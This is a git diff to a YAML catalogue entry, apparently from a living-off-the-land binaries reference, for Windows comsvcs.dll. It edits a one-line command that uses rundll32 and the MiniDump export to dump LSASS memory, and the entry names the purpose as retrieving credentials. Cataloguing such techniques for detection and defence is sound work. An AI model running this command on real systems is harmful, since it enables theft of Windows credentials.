diff --git a/yml/OSLibraries/comsvcs.yml b/yml/OSLibraries/comsvcs.yml index c9082b0..2cf0221 100644 --- a/yml/OSLibraries/comsvcs.yml +++ b/yml/OSLibraries/comsvcs.yml @@ -4,7 +4,7 @@ Description: COM+ Services Author: Created: 2019-08-30 Commands: - - Command: powershell /c rundll32 C:\windows\system32\comsvcs.dll MiniDump [LSASS_PID] dump.bin full + - Command: rundll32 C:\windows\system32\comsvcs.dll MiniDump [LSASS_PID] dump.bin full Description: Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump. Usecase: Dump Lsass.exe process memory to retrieve credentials. Category: Dump